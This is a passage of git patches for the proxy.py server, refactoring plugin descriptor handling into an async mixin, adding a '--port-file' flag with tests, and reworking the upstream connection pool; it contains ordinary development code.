bool: + """Implementations must now read data over the socket.""" + return False # pragma: no cover diff --git a/proxy/http/handler.py b/proxy/http/handler.py index 886ed19547..45127290f4 100644 --- a/proxy/http/handler.py +++ b/proxy/http/handler.py @@ -16,13 +16,13 @@ import logging import selectors -from typing import Tuple, List, Type, Union, Optional, Dict, Any +from typing import Tuple, List, Type, Union, Optional, Any from ..common.flag import flags from ..common.utils import wrap_socket from ..core.base import BaseTcpServerHandler -from ..common.types import Readables, Writables from ..core.connection import TcpClientConnection +from ..common.types import Readables, SelectableEvents, Writables from ..common.constants import DEFAULT_CLIENT_RECVBUF_SIZE, DEFAULT_KEY_FILE from ..common.constants import DEFAULT_SELECTOR_SELECT_TIMEOUT, DEFAULT_TIMEOUT @@ -142,12 +142,12 @@ def shutdown(self) -> None: logger.debug('Client connection closed') super().shutdown() - async def get_events(self) -> Dict[int, int]: + async def get_events(self) -> SelectableEvents: # Get default client events - events: Dict[int, int] = await super().get_events() + events: SelectableEvents = await super().get_events() # HttpProtocolHandlerPlugin.get_descriptors if self.plugin: - plugin_read_desc, plugin_write_desc = self.plugin.get_descriptors() + plugin_read_desc, plugin_write_desc = await self.plugin.get_descriptors() for rfileno in plugin_read_desc: if rfileno not in events: events[rfileno] = selectors.EVENT_READ @@ -400,7 +400,7 @@ async def _run_once(self) -> bool: # FIXME: Returning events is only necessary because we cannot use async context manager # for < Python 3.8. As a reason, this method is no longer a context manager and caller # is responsible for unregistering the descriptors. - async def _selected_events(self) -> Tuple[Dict[int, int], Readables, Writables]: + async def _selected_events(self) -> Tuple[SelectableEvents, Readables, Writables]: assert self.selector events = await self.get_events() for fd in events: @@ -410,9 +410,9 @@ async def _selected_events(self) -> Tuple[Dict[int, int], Readables, Writables]: writables = [] for key, mask in ev: if mask & selectors.EVENT_READ: - readables.append(key.fileobj) + readables.append(key.fd) if mask & selectors.EVENT_WRITE: - writables.append(key.fileobj) + writables.append(key.fd) return (events, readables, writables) def _flush(self) -> None: diff --git a/proxy/http/plugin.py b/proxy/http/plugin.py index 0b87d18c9c..931b6f453e 100644 --- a/proxy/http/plugin.py +++ b/proxy/http/plugin.py @@ -12,19 +12,19 @@ import argparse from abc import ABC, abstractmethod -from typing import Tuple, List, Union, Optional, TYPE_CHECKING +from typing import List, Union, Optional, TYPE_CHECKING -from ..common.types import Readables, Writables from ..core.event import EventQueue from ..core.connection import TcpClientConnection from .parser import HttpParser +from .descriptors import DescriptorsHandlerMixin if TYPE_CHECKING: from ..core.connection import UpstreamConnectionPool -class HttpProtocolHandlerPlugin(ABC): +class HttpProtocolHandlerPlugin(DescriptorsHandlerMixin, ABC): """Base HttpProtocolHandler Plugin class. NOTE: This is an internal plugin and in most cases only useful for core contributors. @@ -68,28 +68,6 @@ def __init__( def protocols() -> List[int]: raise NotImplementedError() - @abstractmethod - def get_descriptors(self) -> Tuple[List[int], List[int]]: - """Implementations must return a list of descriptions that they wish to - read from and write into.""" - return [], [] # pragma: no cover - - @abstractmethod - async def write_to_descriptors(self, w: Writables) -> bool: - """Implementations must now write/flush data over the socket. - - Note that buffer management is in-build into the connection classes. - Hence implementations MUST call - :meth:`~proxy.core.connection.TcpConnection.flush` here, to send - any buffered data over the socket. - """ - return False # pragma: no cover - - @abstractmethod - async def read_from_descriptors(self, r: Readables) -> bool: - """Implementations must now read data over the socket.""" - return False # pragma: no cover - @abstractmethod def on_client_data(self, raw: memoryview) -> Optional[memoryview]: """Called only after original request has been completely received.""" diff --git a/proxy/http/proxy/plugin.py b/proxy/http/proxy/plugin.py index 4b762f03cd..a5c62c3f17 100644 --- a/proxy/http/proxy/plugin.py +++ b/proxy/http/proxy/plugin.py @@ -11,16 +11,16 @@ import argparse from abc import ABC -from typing import Any, Dict, List, Optional, Tuple +from typing import Any, Dict, Optional, Tuple from ..parser import HttpParser +from ..descriptors import DescriptorsHandlerMixin -from ...common.types import Readables, Writables from ...core.event import EventQueue from ...core.connection import TcpClientConnection -class HttpProxyBasePlugin(ABC): +class HttpProxyBasePlugin(DescriptorsHandlerMixin, ABC): """Base HttpProxyPlugin Plugin class. Implement various lifecycle event methods to customize behavior.""" @@ -44,36 +44,6 @@ def name(self) -> str: access a specific plugin by its name.""" return self.__class__.__name__ # pragma: no cover - # TODO(abhinavsingh): get_descriptors, write_to_descriptors, read_from_descriptors - # can be placed into their own abstract class which can then be shared by - # HttpProxyBasePlugin, HttpWebServerBasePlugin and HttpProtocolHandlerPlugin class. - # - # Currently code has been shamelessly copied. Also these methods are not - # marked as abstract to avoid breaking custom plugins written by users for - # previous versions of proxy.py - # - # Since 3.4.0 - # - # @abstractmethod - def get_descriptors(self) -> Tuple[List[int], List[int]]: - return [], [] # pragma: no cover - - # @abstractmethod - def write_to_descriptors(self, w: Writables) -> bool: - """Implementations must now write/flush data over the socket. - - Note that buffer management is in-build into the connection classes. - Hence implementations MUST call - :meth:`~proxy.core.connection.connection.TcpConnection.flush` - here, to send any buffered data over the socket. - """ - return False # pragma: no cover - - # @abstractmethod - def read_from_descriptors(self, r: Readables) -> bool: - """Implementations must now read data over the socket.""" - return False # pragma: no cover - def resolve_dns(self, host: str, port: int) -> Tuple[Optional[str], Optional[Tuple[str, int]]]: """Resolve upstream server host to an IP address. diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index 426ef19775..0d94ee478c 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -22,7 +22,7 @@ import threading import subprocess -from typing import Optional, List, Union, Dict, cast, Any, Tuple +from typing import Optional, List, Union, Dict, cast, Any from .plugin import HttpProxyBasePlugin @@ -34,7 +34,7 @@ from ..parser import HttpParser, httpParserStates, httpParserTypes from ..responses import PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT -from ...common.types import Readables, Writables +from ...common.types import Readables, Writables, Descriptors from ...common.constants import DEFAULT_CA_CERT_DIR, DEFAULT_CA_CERT_FILE, DEFAULT_CA_FILE from ...common.constants import DEFAULT_CA_KEY_FILE, DEFAULT_CA_SIGNING_KEY_FILE from ...common.constants import COMMA, DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_CERT_FILE @@ -172,7 +172,7 @@ def tls_interception_enabled(self) -> bool: self.flags.ca_signing_key_file is not None and \ self.flags.ca_cert_file is not None - def get_descriptors(self) -> Tuple[List[int], List[int]]: + async def get_descriptors(self) -> Descriptors: r: List[int] = [] w: List[int] = [] if ( @@ -192,27 +192,18 @@ def get_descriptors(self) -> Tuple[List[int], List[int]]: # descriptors registered by them, so that within write/read blocks # we can invoke the right plugin callbacks. for plugin in self.plugins.values(): - plugin_read_desc, plugin_write_desc = plugin.get_descriptors() + plugin_read_desc, plugin_write_desc = await plugin.get_descriptors() r.extend(plugin_read_desc) w.extend(plugin_write_desc) return r, w - def _close_and_release(self) -> bool: - if self.flags.enable_conn_pool: - assert self.upstream and not self.upstream.closed and self.upstream_conn_pool - self.upstream.closed = True - with self.lock: - self.upstream_conn_pool.release(self.upstream) - self.upstream = None - return True - async def write_to_descriptors(self, w: Writables) -> bool: if (self.upstream and self.upstream.connection.fileno() not in w) or not self.upstream: # Currently, we just call write/read block of each plugins. It is # plugins responsibility to ignore this callback, if passed descriptors # doesn't contain the descriptor they registered. for plugin in self.plugins.values(): - teardown = plugin.write_to_descriptors(w) + teardown = await plugin.write_to_descriptors(w) if teardown: return True elif self.upstream and not self.upstream.closed and \ @@ -248,7 +239,7 @@ async def read_from_descriptors(self, r: Readables) -> bool: # plugins responsibility to ignore this callback, if passed descriptors # doesn't contain the descriptor they registered for. for plugin in self.plugins.values(): - teardown = plugin.read_from_descriptors(r) + teardown = await plugin.read_from_descriptors(r) if teardown: return True elif self.upstream \ @@ -955,3 +946,16 @@ def emit_response_complete(self) -> None: }, publisher_id=self.__class__.__name__, ) + + # + # Internal methods + # + + def _close_and_release(self) -> bool: + if self.flags.enable_conn_pool: + assert self.upstream and not self.upstream.closed and self.upstream_conn_pool + self.upstream.closed = True + with self.lock: + self.upstream_conn_pool.release(self.upstream) + self.upstream = None + return True diff --git a/proxy/http/server/middleware.py b/proxy/http/server/middleware.py new file mode 100644 index 0000000000..01755fb236 --- /dev/null +++ b/proxy/http/server/middleware.py @@ -0,0 +1,17 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +from abc import ABC + + +class HttpWebServerBaseMiddleware(ABC): + """Web Server Middleware for customizations during request/response dispatch lifecycle.""" + + pass diff --git a/proxy/http/server/plugin.py b/proxy/http/server/plugin.py index 9f5b50601f..c9c47cebaa 100644 --- a/proxy/http/server/plugin.py +++ b/proxy/http/server/plugin.py @@ -15,13 +15,13 @@ from ..websocket import WebsocketFrame from ..parser import HttpParser +from ..descriptors import DescriptorsHandlerMixin -from ...common.types import Readables, Writables from ...core.connection import TcpClientConnection from ...core.event import EventQueue -class HttpWebServerBasePlugin(ABC): +class HttpWebServerBasePlugin(DescriptorsHandlerMixin, ABC): """Web Server Plugin for routing of requests.""" def __init__( @@ -43,36 +43,6 @@ def name(self) -> str: access a specific plugin by its name.""" return self.__class__.__name__ # pragma: no cover - # TODO(abhinavsingh): get_descriptors, write_to_descriptors, read_from_descriptors - # can be placed into their own abstract class which can then be shared by - # HttpProxyBasePlugin, HttpWebServerBasePlugin and HttpProtocolHandlerPlugin class. - # - # Currently code has been shamelessly copied. Also these methods are not - # marked as abstract to avoid breaking custom plugins written by users for - # previous versions of proxy.py - # - # Since 3.4.0 - # - # @abstractmethod - def get_descriptors(self) -> Tuple[List[int], List[int]]: - return [], [] # pragma: no cover - - # @abstractmethod - def write_to_descriptors(self, w: Writables) -> bool: - """Implementations must now write/flush data over the socket. - - Note that buffer management is in-build into the connection classes. - Hence implementations MUST call - :meth:`~proxy.core.connection.connection.TcpConnection.flush` - here, to send any buffered data over the socket. - """ - return False # pragma: no cover - - # @abstractmethod - def read_from_descriptors(self, r: Readables) -> bool: - """Implementations must now read data over the socket.""" - return False # pragma: no cover - @abstractmethod def routes(self) -> List[Tuple[int, str]]: """Return List(protocol, path) that this plugin handles.""" diff --git a/proxy/http/server/web.py b/proxy/http/server/web.py index 2316e716e9..d31b3e6c9f 100644 --- a/proxy/http/server/web.py +++ b/proxy/http/server/web.py @@ -14,13 +14,13 @@ import logging import mimetypes -from typing import List, Tuple, Optional, Dict, Union, Any, Pattern +from typing import List, Optional, Dict, Union, Any, Pattern from ...common.constants import DEFAULT_STATIC_SERVER_DIR from ...common.constants import DEFAULT_ENABLE_STATIC_SERVER, DEFAULT_ENABLE_WEB_SERVER from ...common.constants import DEFAULT_MIN_COMPRESSION_LIMIT, DEFAULT_WEB_ACCESS_LOG_FORMAT from ...common.utils import bytes_, text_, build_websocket_handshake_response -from ...common.types import Readables, Writables +from ...common.types import Readables, Writables, Descriptors from ...common.flag import flags from ..exception import HttpProtocolException @@ -200,24 +200,24 @@ def on_request_complete(self) -> Union[socket.socket, bool]: self.client.queue(NOT_FOUND_RESPONSE_PKT) return True - def get_descriptors(self) -> Tuple[List[int], List[int]]: + async def get_descriptors(self) -> Descriptors: r, w = [], [] for plugin in self.plugins.values(): - r1, w1 = plugin.get_descriptors() + r1, w1 = await plugin.get_descriptors() r.extend(r1) w.extend(w1) return r, w async def write_to_descriptors(self, w: Writables) -> bool: for plugin in self.plugins.values(): - teardown = plugin.write_to_descriptors(w) + teardown = await plugin.write_to_descriptors(w) if teardown: return True return False async def read_from_descriptors(self, r: Readables) -> bool: for plugin in self.plugins.values(): - teardown = plugin.read_from_descriptors(r) + teardown = await plugin.read_from_descriptors(r) if teardown: return True return False diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index 50d4894952..0000000000 --- a/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -typing-extensions; python_version < "3.8" diff --git a/setup.cfg b/setup.cfg index 26a5e175d9..9b0efefc3d 100644 --- a/setup.cfg +++ b/setup.cfg @@ -106,7 +106,6 @@ zip_safe = False # These are required in actual runtime: install_requires = - typing-extensions; python_version < "3.8" [options.entry_points] console_scripts = diff --git a/tests/http/test_http_proxy_tls_interception.py b/tests/http/test_http_proxy_tls_interception.py index 0d30dd55de..af8de9ce0a 100644 --- a/tests/http/test_http_proxy_tls_interception.py +++ b/tests/http/test_http_proxy_tls_interception.py @@ -104,9 +104,10 @@ def mock_connection() -> Any: ) self._conn.recv.return_value = connect_request + async def asyncReturnBool(val: bool) -> bool: + return val + # Prepare mocked HttpProtocolHandlerPlugin - # async def asyncReturnBool(val: bool) -> bool: - # return val # self.plugin.return_value.get_descriptors.return_value = ([], []) # self.plugin.return_value.write_to_descriptors.return_value = asyncReturnBool(False) # self.plugin.return_value.read_from_descriptors.return_value = asyncReturnBool(False) @@ -116,8 +117,10 @@ def mock_connection() -> Any: # self.plugin.return_value.on_client_connection_close.return_value = None # Prepare mocked HttpProxyBasePlugin - self.proxy_plugin.return_value.write_to_descriptors.return_value = False - self.proxy_plugin.return_value.read_from_descriptors.return_value = False + self.proxy_plugin.return_value.write_to_descriptors.return_value = \ + asyncReturnBool(False) + self.proxy_plugin.return_value.read_from_descriptors.return_value = \ + asyncReturnBool(False) self.proxy_plugin.return_value.before_upstream_connection.side_effect = lambda r: r self.proxy_plugin.return_value.handle_client_request.side_effect = lambda r: r self.proxy_plugin.return_value.resolve_dns.return_value = None, None diff --git a/tox.ini b/tox.ini index 92f108a1b5..83bc337213 100644 --- a/tox.ini +++ b/tox.ini @@ -5,7 +5,6 @@ minversion = 3.21.0 [testenv] deps = - -rrequirements.txt -rrequirements-testing.txt -rrequirements-tunnel.txt # NOTE: The command is invoked by the script name and not via From 4672dd99431215ee64932a75d5042b7f9ba4de5b Mon Sep 17 00:00:00 2001 From: Abhinav Singh Date: Wed, 5 Jan 2022 00:40:15 +0530 Subject: [PATCH 08/38] Fix doc spell --- proxy/http/server/middleware.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/proxy/http/server/middleware.py b/proxy/http/server/middleware.py index 01755fb236..668458edc2 100644 --- a/proxy/http/server/middleware.py +++ b/proxy/http/server/middleware.py @@ -12,6 +12,6 @@ class HttpWebServerBaseMiddleware(ABC): - """Web Server Middleware for customizations during request/response dispatch lifecycle.""" + """Web Server Middle-ware for customization during request/response dispatch lifecycle.""" pass From a2e1fc68a09416a6418694e31fd0ef9362114117 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Thu, 6 Jan 2022 02:08:23 +0530 Subject: [PATCH 09/38] Add `--port-file` flag (#942) * Add `--port-file` flag * Use `--port-file` flag for integration tests using `get_available_port` * Use temp dir * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix `base_klass` variable related lint issues * Fix main tests * Fix integration * Use timeout when terminating proc * Skip integration on win instead of xmark Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- README.md | 7 +++++-- proxy/common/constants.py | 1 + proxy/common/flag.py | 7 +++++++ proxy/common/plugins.py | 10 +++++----- proxy/core/acceptor/listener.py | 13 +++++++++++-- proxy/proxy.py | 14 +++++++++++++- tests/integration/test_integration.py | 16 ++++++++++------ tests/test_main.py | 6 +++++- 8 files changed, 57 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 1742496456..6e0e5b2c1a 100644 --- a/README.md +++ b/README.md @@ -2206,7 +2206,7 @@ To run standalone benchmark for `proxy.py`, use the following command from repo usage: -m [-h] [--enable-events] [--enable-conn-pool] [--threadless] [--threaded] [--num-workers NUM_WORKERS] [--local-executor LOCAL_EXECUTOR] [--backlog BACKLOG] - [--hostname HOSTNAME] [--port PORT] + [--hostname HOSTNAME] [--port PORT] [--port-file PORT_FILE] [--unix-socket-path UNIX_SOCKET_PATH] [--num-acceptors NUM_ACCEPTORS] [--version] [--log-level LOG_LEVEL] [--log-file LOG_FILE] [--log-format LOG_FORMAT] @@ -2232,7 +2232,7 @@ usage: -m [-h] [--enable-events] [--enable-conn-pool] [--threadless] [--filtered-url-regex-config FILTERED_URL_REGEX_CONFIG] [--cloudflare-dns-mode CLOUDFLARE_DNS_MODE] -proxy.py v2.4.0rc5.dev31+gc998255 +proxy.py v2.4.0rc6.dev13+ga9b8034.d20220104 options: -h, --help show this help message and exit @@ -2261,6 +2261,9 @@ options: proxy server --hostname HOSTNAME Default: 127.0.0.1. Server IP address. --port PORT Default: 8899. Server port. + --port-file PORT_FILE + Default: None. Save server port numbers. Useful when + using --port=0 ephemeral mode. --unix-socket-path UNIX_SOCKET_PATH Default: None. Unix socket path to use. When provided --host and --port flags are ignored diff --git a/proxy/common/constants.py b/proxy/common/constants.py index 9f6ff46deb..176a08fe7b 100644 --- a/proxy/common/constants.py +++ b/proxy/common/constants.py @@ -114,6 +114,7 @@ def _env_threadless_compliant() -> bool: DEFAULT_PAC_FILE = None DEFAULT_PAC_FILE_URL_PATH = b'/' DEFAULT_PID_FILE = None +DEFAULT_PORT_FILE = None DEFAULT_PLUGINS: List[Any] = [] DEFAULT_PORT = 8899 DEFAULT_SERVER_RECVBUF_SIZE = DEFAULT_BUFFER_SIZE diff --git a/proxy/common/flag.py b/proxy/common/flag.py index f0c7f7c7fb..06783b9a80 100644 --- a/proxy/common/flag.py +++ b/proxy/common/flag.py @@ -363,6 +363,13 @@ def initialize( ), ) + args.port_file = cast( + Optional[str], opts.get( + 'port_file', + args.port_file, + ), + ) + args.proxy_py_data_dir = DEFAULT_DATA_DIRECTORY_PATH os.makedirs(args.proxy_py_data_dir, exist_ok=True) diff --git a/proxy/common/plugins.py b/proxy/common/plugins.py index 1c3ec84595..2349e6ec9c 100644 --- a/proxy/common/plugins.py +++ b/proxy/common/plugins.py @@ -73,12 +73,12 @@ def load( mro = list(inspect.getmro(klass)) # Find the base plugin class that # this plugin_ is implementing - found = False - for base_klass in mro: - if bytes_(base_klass.__name__) in p: - found = True + base_klass = None + for k in mro: + if bytes_(k.__name__) in p: + base_klass = k break - if not found: + if base_klass is None: raise ValueError('%s is NOT a valid plugin' % text_(plugin_)) if klass not in p[bytes_(base_klass.__name__)]: p[bytes_(base_klass.__name__)].append(klass) diff --git a/proxy/core/acceptor/listener.py b/proxy/core/acceptor/listener.py index c137502db0..d55962a933 100644 --- a/proxy/core/acceptor/listener.py +++ b/proxy/core/acceptor/listener.py @@ -20,7 +20,7 @@ from typing import Optional, Any from ...common.flag import flags -from ...common.constants import DEFAULT_BACKLOG, DEFAULT_IPV4_HOSTNAME, DEFAULT_PORT +from ...common.constants import DEFAULT_BACKLOG, DEFAULT_IPV4_HOSTNAME, DEFAULT_PORT, DEFAULT_PORT_FILE flags.add_argument( @@ -38,10 +38,19 @@ ) flags.add_argument( - '--port', type=int, default=DEFAULT_PORT, + '--port', + type=int, + default=DEFAULT_PORT, help='Default: 8899. Server port.', ) +flags.add_argument( + '--port-file', + type=str, + default=DEFAULT_PORT_FILE, + help='Default: None. Save server port numbers. Useful when using --port=0 ephemeral mode.', +) + flags.add_argument( '--unix-socket-path', type=str, diff --git a/proxy/proxy.py b/proxy/proxy.py index 43a90593af..42830f2071 100644 --- a/proxy/proxy.py +++ b/proxy/proxy.py @@ -164,6 +164,7 @@ def setup(self) -> None: # we are listening upon. This is necessary to preserve # the server port when `--port=0` is used. self.flags.port = self.listener._port + self._write_port_file() # Setup EventManager if self.flags.enable_events: logger.info('Core Event enabled') @@ -204,6 +205,7 @@ def shutdown(self) -> None: self.event_manager.shutdown() assert self.listener self.listener.shutdown() + self._delete_port_file() self._delete_pid_file() @property @@ -221,13 +223,23 @@ def _delete_pid_file(self) -> None: and os.path.exists(self.flags.pid_file): os.remove(self.flags.pid_file) + def _write_port_file(self) -> None: + if self.flags.port_file: + with open(self.flags.port_file, 'wb') as port_file: + port_file.write(bytes_(self.flags.port)) + + def _delete_port_file(self) -> None: + if self.flags.port_file \ + and os.path.exists(self.flags.port_file): + os.remove(self.flags.port_file) + def _register_signals(self) -> None: # TODO: Handle SIGINFO, SIGUSR1, SIGUSR2 signal.signal(signal.SIGINT, self._handle_exit_signal) signal.signal(signal.SIGTERM, self._handle_exit_signal) if not IS_WINDOWS: signal.signal(signal.SIGHUP, self._handle_exit_signal) - # TODO: SIGQUIT is ideally meant for terminate with core dumps + # TODO: SIGQUIT is ideally meant to terminate with core dumps signal.signal(signal.SIGQUIT, self._handle_exit_signal) @staticmethod diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index 5894e13963..66307d9ccc 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -10,14 +10,15 @@ Test the simplest proxy use scenario for smoke. """ +import time import pytest +import tempfile from pathlib import Path from subprocess import check_output, Popen from typing import Generator, Any from proxy.common.constants import IS_WINDOWS -from proxy.common.utils import get_available_port # FIXME: Ignore is necessary for as long as pytest hasn't figured out @@ -34,16 +35,20 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: After the testing is over, tear it down. """ - port = get_available_port() + port_file = Path(tempfile.gettempdir()) / 'proxy.port' proxy_cmd = ( 'python', '-m', 'proxy', '--hostname', '127.0.0.1', - '--port', str(port), + '--port', '0', + '--port-file', str(port_file), '--enable-web-server', ) + tuple(request.param.split()) proxy_proc = Popen(proxy_cmd) + # Needed because port file might not be available immediately + while not port_file.exists(): + time.sleep(1) try: - yield port + yield int(port_file.read_text()) finally: proxy_proc.terminate() proxy_proc.wait() @@ -64,10 +69,9 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: ), indirect=True, ) # type: ignore[misc] -@pytest.mark.xfail( +@pytest.mark.skipif( IS_WINDOWS, reason='OSError: [WinError 193] %1 is not a valid Win32 application', - raises=OSError, ) # type: ignore[misc] def test_integration(proxy_py_subprocess: int) -> None: """An acceptance test using ``curl`` through proxy.py.""" diff --git a/tests/test_main.py b/tests/test_main.py index 380ffd65b1..3f8816edda 100644 --- a/tests/test_main.py +++ b/tests/test_main.py @@ -15,7 +15,7 @@ from unittest import mock from proxy.proxy import main, entry_point -from proxy.common.constants import _env_threadless_compliant # noqa: WPS450 +from proxy.common.constants import DEFAULT_PORT_FILE, _env_threadless_compliant # noqa: WPS450 from proxy.common.utils import bytes_ from proxy.common.constants import DEFAULT_ENABLE_DASHBOARD, DEFAULT_LOCAL_EXECUTOR, DEFAULT_LOG_LEVEL, DEFAULT_LOG_FILE @@ -69,6 +69,7 @@ def mock_default_args(mock_args: mock.Mock) -> None: mock_args.enable_dashboard = DEFAULT_ENABLE_DASHBOARD mock_args.work_klass = DEFAULT_WORK_KLASS mock_args.local_executor = int(DEFAULT_LOCAL_EXECUTOR) + mock_args.port_file = DEFAULT_PORT_FILE @mock.patch('os.remove') @mock.patch('os.path.exists') @@ -96,6 +97,7 @@ def test_entry_point( mock_initialize.return_value.local_executor = 0 mock_initialize.return_value.enable_events = False mock_initialize.return_value.pid_file = pid_file + mock_initialize.return_value.port_file = None entry_point() mock_event_manager.assert_not_called() mock_listener.assert_called_once_with( @@ -143,6 +145,7 @@ def test_main_with_no_flags( mock_sleep.side_effect = KeyboardInterrupt() mock_initialize.return_value.local_executor = 0 mock_initialize.return_value.enable_events = False + mock_initialize.return_value.port_file = None main() mock_event_manager.assert_not_called() mock_listener.assert_called_once_with( @@ -183,6 +186,7 @@ def test_enable_events( mock_sleep.side_effect = KeyboardInterrupt() mock_initialize.return_value.local_executor = 0 mock_initialize.return_value.enable_events = True + mock_initialize.return_value.port_file = None main() mock_event_manager.assert_called_once() mock_event_manager.return_value.setup.assert_called_once() From 9b2e7bba7da893c6927ce607e745a1a11bb758fb Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Sat, 8 Jan 2022 23:18:19 +0530 Subject: [PATCH 10/38] Expose `UpstreamConnectionPool` to web & proxy plugins (#946) * Expose conn pool to plugins * Fix reusable state handling * Separate `release` and `retain` methods * Fix conn pool tests * Fix tests --- proxy/core/connection/pool.py | 77 ++++++++++++++++++++--------------- proxy/http/plugin.py | 2 +- proxy/http/proxy/plugin.py | 7 +++- proxy/http/proxy/server.py | 1 + proxy/http/server/plugin.py | 7 +++- proxy/http/server/web.py | 1 + tests/core/test_conn_pool.py | 16 +++++--- 7 files changed, 69 insertions(+), 42 deletions(-) diff --git a/proxy/core/connection/pool.py b/proxy/core/connection/pool.py index 2f45e8a720..3fed38d5a7 100644 --- a/proxy/core/connection/pool.py +++ b/proxy/core/connection/pool.py @@ -77,57 +77,50 @@ def __init__(self) -> None: self.connections: Dict[int, TcpServerConnection] = {} self.pools: Dict[Tuple[str, int], Set[TcpServerConnection]] = {} - def add(self, addr: Tuple[str, int]) -> TcpServerConnection: - """Creates and add a new connection to the pool.""" - new_conn = TcpServerConnection(addr[0], addr[1]) - new_conn.connect() - self._add(new_conn) - return new_conn - def acquire(self, addr: Tuple[str, int]) -> Tuple[bool, TcpServerConnection]: """Returns a reusable connection from the pool. If none exists, will create and return a new connection.""" + created, conn = False, None if addr in self.pools: for old_conn in self.pools[addr]: if old_conn.is_reusable(): - old_conn.mark_inuse() + conn = old_conn logger.debug( 'Reusing connection#{2} for upstream {0}:{1}'.format( addr[0], addr[1], id(old_conn), ), ) - return False, old_conn - new_conn = self.add(addr) - logger.debug( - 'Created new connection#{2} for upstream {0}:{1}'.format( - addr[0], addr[1], id(new_conn), - ), - ) - return True, new_conn + break + if conn is None: + created, conn = True, self.add(addr) + conn.mark_inuse() + return created, conn def release(self, conn: TcpServerConnection) -> None: """Release a previously acquired connection. - If the connection has not been closed, - then it will be retained in the pool for reusability. + Releasing a connection will shutdown and close the socket + including internal pool cleanup. """ assert not conn.is_reusable() - if conn.closed: - logger.debug( - 'Removing connection#{2} from pool from upstream {0}:{1}'.format( - conn.addr[0], conn.addr[1], id(conn), - ), - ) - self._remove(conn.connection.fileno()) - else: - logger.debug( - 'Retaining connection#{2} to upstream {0}:{1}'.format( - conn.addr[0], conn.addr[1], id(conn), - ), - ) - # Reset for reusability - conn.reset() + logger.debug( + 'Removing connection#{2} from pool from upstream {0}:{1}'.format( + conn.addr[0], conn.addr[1], id(conn), + ), + ) + self._remove(conn.connection.fileno()) + + def retain(self, conn: TcpServerConnection) -> None: + """Retained previously acquired connection in the pool for reusability.""" + assert not conn.closed + logger.debug( + 'Retaining connection#{2} to upstream {0}:{1}'.format( + conn.addr[0], conn.addr[1], id(conn), + ), + ) + # Reset for reusability + conn.reset() async def get_events(self) -> SelectableEvents: """Returns read event flag for all reusable connections in the pool.""" @@ -152,10 +145,28 @@ async def handle_events(self, readables: Readables, _writables: Writables) -> bo self._remove(fileno) return False + def add(self, addr: Tuple[str, int]) -> TcpServerConnection: + """Creates, connects and adds a new connection to the pool. + + Returns newly created connection. + + NOTE: You must not use the returned connection, instead use `acquire`. + """ + new_conn = TcpServerConnection(addr[0], addr[1]) + new_conn.connect() + self._add(new_conn) + logger.debug( + 'Created new connection#{2} for upstream {0}:{1}'.format( + addr[0], addr[1], id(new_conn), + ), + ) + return new_conn + def _add(self, conn: TcpServerConnection) -> None: """Adds a new connection to internal data structure.""" if conn.addr not in self.pools: self.pools[conn.addr] = set() + conn._reusable = True self.pools[conn.addr].add(conn) self.connections[conn.connection.fileno()] = conn diff --git a/proxy/http/plugin.py b/proxy/http/plugin.py index 931b6f453e..eb9c070622 100644 --- a/proxy/http/plugin.py +++ b/proxy/http/plugin.py @@ -52,7 +52,7 @@ def __init__( flags: argparse.Namespace, client: TcpClientConnection, request: HttpParser, - event_queue: Optional[EventQueue], + event_queue: Optional[EventQueue] = None, upstream_conn_pool: Optional['UpstreamConnectionPool'] = None, ): self.uid: str = uid diff --git a/proxy/http/proxy/plugin.py b/proxy/http/proxy/plugin.py index a5c62c3f17..8e769a5105 100644 --- a/proxy/http/proxy/plugin.py +++ b/proxy/http/proxy/plugin.py @@ -11,7 +11,7 @@ import argparse from abc import ABC -from typing import Any, Dict, Optional, Tuple +from typing import Any, Dict, Optional, Tuple, TYPE_CHECKING from ..parser import HttpParser from ..descriptors import DescriptorsHandlerMixin @@ -19,6 +19,9 @@ from ...core.event import EventQueue from ...core.connection import TcpClientConnection +if TYPE_CHECKING: + from ...core.connection import UpstreamConnectionPool + class HttpProxyBasePlugin(DescriptorsHandlerMixin, ABC): """Base HttpProxyPlugin Plugin class. @@ -31,11 +34,13 @@ def __init__( flags: argparse.Namespace, client: TcpClientConnection, event_queue: EventQueue, + upstream_conn_pool: Optional['UpstreamConnectionPool'] = None, ) -> None: self.uid = uid # pragma: no cover self.flags = flags # pragma: no cover self.client = client # pragma: no cover self.event_queue = event_queue # pragma: no cover + self.upstream_conn_pool = upstream_conn_pool def name(self) -> str: """A unique name for your plugin. diff --git a/proxy/http/proxy/server.py b/proxy/http/proxy/server.py index 0d94ee478c..ba87bb2e8f 100644 --- a/proxy/http/proxy/server.py +++ b/proxy/http/proxy/server.py @@ -159,6 +159,7 @@ def __init__( self.flags, self.client, self.event_queue, + self.upstream_conn_pool, ) self.plugins[instance.name()] = instance diff --git a/proxy/http/server/plugin.py b/proxy/http/server/plugin.py index c9c47cebaa..5ea507eb86 100644 --- a/proxy/http/server/plugin.py +++ b/proxy/http/server/plugin.py @@ -11,7 +11,7 @@ import argparse from abc import ABC, abstractmethod -from typing import Any, Dict, List, Optional, Tuple +from typing import Any, Dict, List, Optional, Tuple, TYPE_CHECKING from ..websocket import WebsocketFrame from ..parser import HttpParser @@ -20,6 +20,9 @@ from ...core.connection import TcpClientConnection from ...core.event import EventQueue +if TYPE_CHECKING: + from 